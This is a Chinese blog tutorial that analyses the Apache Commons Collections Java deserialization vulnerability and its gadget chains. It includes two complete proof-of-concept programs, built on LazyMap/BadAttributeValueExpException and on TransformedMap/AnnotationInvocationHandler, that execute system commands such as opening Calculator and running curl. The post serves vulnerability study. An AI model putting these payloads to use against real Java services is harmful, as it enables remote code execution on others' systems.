前言

分析学习一下 apache commons Collections 组件所产生的 java 反序列化漏洞。

环境搭建

用 maven 构建项目。

参考:https://blog.csdn.net/u013985664/article/details/79155126

pom.xml

01

commons-collections 组件的 jar 包在 maven 配置中的本地仓库。

02

03

使用 jd-gui 对 jar 包进行反编译。

04

当然,也可以直接使用 idea。

05

代码审计

根据参考文章,定位到 Transformer 接口。jd-gui 中 command + shift + s 进行搜索。

06

idea 中搜索该接口的实现类,Navigate -> Type Hierachy。

07

在 php 的反射机制中,最后通过 ReflectionMethod 类的 invoke() 方法调用反射的方法。

08

所以这里的 InvokerTransformer 类很可疑,跟进。

InvokerTransformer 类

09

可以看到 InvokerTransformer 类的 transform() 方法通过 java 的反射机制,调用了指定类的指定方法。如果传入 InvokerTransformer 类的构造方法中的 methodName、paramTypes、args 可控,且在调用 transform() 方法时的 input 参数也可控,即可调用任意类的任意方法。

这篇文章中,我们在 readObject() 中通过Runtime.getRuntime().exex("open /Applications/Calculator.app/")调用外部命令打开了计算器,这实际是一个链式调用。类似php 中的$db->table(’tableName’)->where([‘id’=>1])->query(),要实现链式调用,就需要前一个方法返回的也是一个对象。在 php 中的数据库操作中,相关方法一般会返回 $this 对象本身。因此,因为上面这个 transform() 只会调用一次指定的方法,所以我们还需要实现链式调用。在 commons-collections 中已经封装了相应的类 ChainedTransformer。

ChainedTransformer 类

10

ChainedTransformer 类的成员变量 iTransformers 是一个 Transformer 接口数组,其中可以是 Transformer 的实现类,比如可以存放前面的 InvokerTransformer 类。可以看到 ChainedTransformer 类也有一个 transform() 方法,该方法实现了我们需要的链式调用。在该方法中,通过循环依次调用 iTransformers 数组中每个元素的 transform() 方法,并将结果赋值给 object 变量,在调用下一个元素的 transform() 方法时,把 object 变量当作参数传入。

11

这里在调用 ChainedTransformer 类的 transform() 方法时,传入了 Runtime.getRuntime() 返回的 Runtime 类的实例化对象。因为实例化 ChainedTransformer 时,传入的 Transformer[] 数组只有一个元素,所以上面的代码实际上等于直接调用了 InvokerTransformer 类的 transform() 方法。

12

那可不可以在调用 ChainedTransformer 类的 transform() 方法时,可以传入任意参数,而不需要传入 Runtime 类的实例呢?参考文章找到了 ConstantTransformer 类,

ConstantTransformer 类

13

该类也实现了 Transformer 接口,所以可以放入 Transformer[] 数组中。且 ConstantTransformer 的 transform() 方法会直接返回实例化其对象时传入的参数。

14

因为 ConstantTransformer 类的实例化对象的属性 iConstant 是 Runtime 类的实例化对象,所以这里还有一个问题。

序列化会将一个类包含的引用中所有的成员变量保存下来(深度复制),所以里面的引用类型也必须要实现 Serializable 接口。

而 Runtime 类并没有实现 Serializable 接口,不过这也好办,要实例化 Runtime 类,是通过调用 Runtime 的静态方法 getRuntime() 实现的,而 InvokerTransformer 类的 transform() 方法正好可以调用任意类的任意方法。

15

简单分析一下,先通过 Class 类的 getMethod() 方法取到 Runtime.getRuntime 方法,即 Method 类的实例化对象,接着调用 Method 类的对象的 invoke() 方法,即实际调用了 Runtime.getRuntime() 方法,从而取到了 Runtime 类的实例化对象,之后就和前面一样了。这里要注意,因为 Runtime.getRuntime() 是静态方法,所以通过反射 invoke() 去调用时,无需指定实例对象,即 invoke() 方法的第一个参数为 null。

可以看到传入 ConstantTransformer 对象的参数变成了 Runtime.class,这是一个 Class 类的对象,而 Class 类是实现了 Serializable 接口的。

16

到现在,我们已经分析完了漏洞的产生,但是还不能构造 poc。那既然是一个反序列化漏洞,大概率需要找到一个能利用 readObject() 方法。

构造 poc

这里有两个思路。

  • LazyMap
  • TransformedMap

LazyMap 构造 poc

BadAttributeValueExpException

LazyMap 继承自 AbstractMapDecorator,实现了 Map。

18

在 LazyMap 中维护了一个 map。

LazyMap 类

17

当调用 LazyMap 的 get() 方法时,会在其维护的 map 中寻找指定的 key,如果没有,则会调用 factory 的 transform() 方法为 key 创建一个 value,并将映射关系存入 map 中。而这里的 factory 的值在实例化 LazyMap 的时候可控。根据前面的分析,漏洞的触发从 ChainedTransformer 类的 transform() 方法开始,所以,我们可以将这里的 factory 成员变量赋值为 ChainedTransformer 类的对象,当查询不存在的 key 的时候,即可触发漏洞。

在 php 的反序列化中,需要自动触发 pop 链,可以通过魔术方法实现,如__wakeup()__toString()__destruct()。在 java 中也一样,那我们现在需要自动调用 LazyMap 的 get() 方法,且查询的 key 要不存在。

TiedMapEntry 类

19

java 中的toString()和 php 中的__toString()相同,当把对象当作字符串使用时,会调用该方法,这样就实现了自动触发的效果。在 TiedMapEntry 类的toString()方法中,会调用 getValue() 方法,其中会调用成员变量 map 的 get() 方法,而成员变量 map 和 key 在实例化时都可控,那我们将 map 初始化成前面的 LazyMap 类的对象,就可以和前面的利用连上了。

最后,我们只需要找到一个能和前面的利用连上的 readObject() 方法即可。

javax.management.BadAttributeValueExpException 类

20

可以看到在 BadAttributeValueExpException 类的 readObject() 方法中,会通过 readFields() 从输入流中读取持久字段。

GetField 是 ObjectInputStream 类的一个内部抽象类。

1
2
public abstract boolean get(String name, boolean val)
throws IOException;

其实现类是内部类 GetFieldImpl。

1
2
3
4
5
6
7
8
9
10
11
12
13
private class GetFieldImpl extends GetField {

public Object get(String name, Object val) throws IOException {
int off = getFieldOffset(name, Object.class);
if (off >= 0) {
int objHandle = objHandles[off];
handles.markDependency(passHandle, objHandle);
return (handles.lookupException(objHandle) == null) ?
objVals[off] : null;
} else {
return val;
}
}

通过调用 GetFieldImpl 类的 get() 方法,取到序列化时的 val 成员变量,然后在 if 分支中会调用 val 的toString() 方法。这样,我们只要在序列化 BadAttributeValueExpException 类的时候,将 val 的值赋为 TiedMapEntry 类的对象,就可以和前面的利用接上了。但是,这里要注意 ,不能在初始化 BadAttributeValueExpException 类的时候给 val 赋值,因为在该类的构造方法中,会直接调用 val 的toString() 方法,再将结果存入 val 成员变量。但是,我们可以通过反射为 val 赋值,通过 Filed 类的 setAccessible() 方法,可以访问 private 字段。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test02 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app/"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();
Map lazyMap = LazyMap.decorate(innermap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "llfam");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

Field valField = poc.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(poc, entry);

File f = new File("LazyMapPoc.txt");
FileOutputStream fos = new FileOutputStream(f);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poc);
oos.close();

FileInputStream fis = new FileInputStream(f);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}

AnnotationInvocationHandler & 动态代理

从 LazyMap 类开始,我们为了能调用 LazyMap 的 get() 方法,找到了TiedMapEntry 类,并顺着 TiedMapEntry 类的toString()方法,完成了 poc 的构造。当然,从 LazyMap 的 get() 方法出发,还可以发现其他的利用链。

sun.reflect.annotation.AnnotationInvocationHandler 类(jdk 7)

22

在 AnnotationInvocationHandler 类的 invoke() 方法中,调用了成员变量 memberValues 的 get() 方法,且 memberValues 在初始化 AnnotationInvocationHandler 类时可控。

23

这样,我们就可以将 memberValues 的值设置为 LazyMap 类的实例化对象,在调用 AnnotationInvocationHandler 类的 invoke() 方法时,会调用 memberValues 的 get() 方法,即 LazyMap 类的 get() 方法。

要想触发反序列化漏洞,还需要从 readObject() 开始,正好 AnnotationInvocationHandler 类就有 readObject() 方法。

24

但是,可以看到这里并没有直接调用 memberValues 的 get() 方法,也没有调用 AnnotationInvocationHandler 的 invoke() 方法,所以,在 ysoserial 中使用了动态代理去实现利用。

动态代理参考:https://blog.csdn.net/Dream_Weave/article/details/84183247

其实,如果对动态代理有点了解的话,从方法签名中,可以发现 AnnotationInvocationHandler 类的 invoke() 方法实际上是在重写 InvocationHandler 接口的 invoke() 方法,而 AnnotationInvocationHandler 类确实也实现了 InvocationHandler 接口。

1
2
3
4
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

下面,我们对 ysoserial 中的 CommonsCollections1.java 这个 poc 进行调试,学习并理解利用动态代理构造 poc 的过程。

因为我的电脑是 mac,所以在调试前要先修改一下默认生成的利用命令。

25

开始调试。

26

可以看到在实例化 ChainedTransformer 类的时候,只传入了 ConstantTransformer 对象,且其成员变量 iConstant 被初始化为 1,而真正的利用代码在最后才被传入 setFieldValue() 方法中(箭头处)。

断点下在 Gadgets 类的 createMemoitizedProxy() 方法。

27

跟进 createMemoizedInvocatinHandler() 方法。

28

跟进 getFirstCtor() 方法。

29

在 getFirstCtor() 方法中,先通过反射取到 AnnotationInvocationHandler 类的构造方法,这里的 setAccessible() 方法中调用了 Permit.setAccessible()。

参考:https://github.com/nqzero/permit-reflect

30

继续看 createMemoizedInvocatinHandler() 方法。

1
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

在 newInstance() 方法中,调用了 getFirstCtor() 返回的 Constructor 对象指定的构造方法实例化了 AnnotationInvocationHandler 类。

31

这里将成员变量 memberValues 初始化为变量 var2,即 LazyMap 对象。回到 createMemoitizedProxy() 方法,createMemoizedInvocationHandler() 方法返回了一个 AnnotationInvocationHandler 对象。

32

跟进 createProxy() 方法。

33

这里将我们前面创建的 AnnotationInvocationHandler 对象丢入了 Proxy.newProxyInstance() 中,为其创建了一个动态代理对象。

34

接着又调用了一次 createMemoizedInvocationHandler() 方法。

35

前面分析过了,这个方法会通过反射去实例化一个 AnnotationInvocationHandler 对象,只不过该对象的成员变量 memberValues 的值为传入的动态代理对象。

最后,调用了 setFieldValue() 方法。

36

跟进 setFieldValue() 方法。

37

这里就是通过反射去修改一开始创建的 ChainedTransformer 对象的成员变量 iTransformers 的值。

38

因为一开始实例化时并没有把利用代码直接写入,而是传入 new ConstantTransformer(1)。

接下来的序列化使用了 ByteArrayOutputStream 类,该类会在内存中模拟一个字节输出流,可以配合 ByteArrayInputStream 类使用,这样,在测试的时候,就可以不用将序列化数据写入真实文件即可进行验证。

39

反序列化。

40

我先在 LazyMap 类的 get() 方法处下一个断点。

41

看一下调用栈。

42

在前面的分析中,最后序列化的 AnnotationInvocationHandler 对象的成员变量 memberValues 是一个动态代理对象,其代理的又是一个 AnnotationInvocationHandler 对象,这个被代理的 AnnotationInvocationHandler 对象的成员变量 memberValues 才是利用的代码。所以,在这里调用了 memberValues 的 entrySet() 方法(上图箭头处),即调用动态代理对象,会触发被代理的对象的 invoke() 方法。

43

这样,在被代理对象的 invoke() 方法中才开始触发整个利用链。

动态代理构造 poc 这个思路,需要先去学学相关的知识,最好能自己动态调试,这样能够加深印象 : )

TransformedMap 构造 poc

在前面说过,漏洞的触发从 ChainedTransformer 类的 transform() 方法开始,因为在 LazyMap 的 get() 方法中,可以调用 ChainedTransformer 的 transform() 方法,所以上面都在围绕 LazyMap 构造 poc。下面,我们还是从 transform() 出发,构造其他 poc。

TransformedMap 类

44

可以看到 TransformedMap 的 checkSetValue() 方法中调用了成员变量 valueTransformer 的 transform() 方法,且我们可以在初始化时将 valueTransformer 赋值为 ChainedTransformer 对象。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;

public class Poc {

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:8888"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);

Object poc = ctor.newInstance(java.lang.annotation.Retention.class,transformedMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poc);
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
ois.readObject();
}
}

这里也用了 AnnotationInvocationHandler 这个类,如果前面都跟过一遍的话,还是比较好理解的。

在 AnnotationInvocationHandler 的 readObject() 中打个断点。

45

可以看到 var4 从 memberValues 里取到一个迭代器,其实这个迭代器来自我们 poc 里的 HashMap。

46

实际是通过HashMap.entrySet().iterator()获得,可以通过这个迭代器去遍历 HashMap。

47

回到 AnnotationInvocationHandler 的 readObject() 中。

48

var5 是 MapEntry 对象,这里调用了 MapEntry 的 setValue() 方法。

49

在 MapEntry 的 setValue() 方法中,会调用我们精心构造的 TransformedMap 对象的 checkSetValue() 方法,下面就开始触发漏洞啦。

这是根据 poc 进行的分析,那我们现在可以尝试从构造 poc 的角度去分析。

在前面,我们找到了 TransformedMap 类的 checkSetValue() 方法,以该方法为思路,寻找哪里调用了该方法。

AbstractInputCheckedMapDecorator 类

50

MapEntry 是 AbstractInputCheckedMapDecorator 的一个内部类,而 AbstractInputCheckedMapDecorator 又是 TransformedMap 的父类。

EntrySetIterator 类

51

EntrySetIterator 也是 AbstractInputCheckedMapDecorator 的一个内部类,其中的 next() 方法实例化了 MapEntry 类,顺着 EntrySetIterator 类去找。

EntrySet 类

52

EntrySet 这还是 AbstractInputCheckedMapDecorator 的一个内部类,其 Iterator() 方法会返回 EntrySetIterator 对象,在 AbstractInputCheckedMapDecorator 的 entrySet() 方法中,会创建 EntrySet 对象。因为 TransformedMap 继承自 AbstractInputCheckedMapDecorator,所以我们直接调用 TransformedMap 对象的 entrySet() 方法即可。

结合这些分析,找到了符合条件的 AnnotationInvocationHandler 的 readObject() 方法。

在 poc 中,还需要注意 AnnotationInvocationHandler 对象的 type 值。

53

参考文章写到

需要注意,这里的触发的类为 AnnotationInvocationHandler,在触发漏洞事会对 type 进行检查,所以在 transformer 的时候我们要讲 type 设置为 annotation 类型。

那我们是怎么知道的呢?

54

可以看到这里 var2 为 AnnotationType 对象,通过其 memberTypes() 方法取到了一个 HashMap 赋值给 var3,其映射关系中的键名为 value,这里 var6 来自我们 poc 中创建的 HashMap,如果 var6 不等于 value,代码逻辑就进不到下面的 if 分支。

如果我们改成 Override。

55

可以看到这样就进不到 if 分支了,这是因为 AnnotationType 的 memberTypes() 方法返回的 map 中,映射关系是注解的参数名和参数类型。

参考:http://www.docjar.com/docs/api/sun/reflect/annotation/AnnotationType.html

Retention 注解

56

Override 注解

57

我们可以自定义一个注解进行验证。

1
2
3
public @interface LAnnotation {
String llfam() default "llfam";
}

然后修改 poc。

58

这里不但改了 map 中的 key,也把 value 改成了 88,至于为什么 value 也要改,感兴趣的话可以自己研究一下 : )

总结

这是我第一次分析 java 的漏洞,我本来想尽量写详细一点,但是 java 的知识比较多,加上自己现在的理解还不够,可以当作入门 java 审计的一个参考吧,欢迎交流 : )

全文 poc 来自参考文章以及 ysoserial,稍有修改。

ref :

https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

https://p0sec.net/index.php/archives/121/

https://blog.csdn.net/Dream_Weave/article/details/84183247

https://xz.aliyun.com/t/4558#toc-0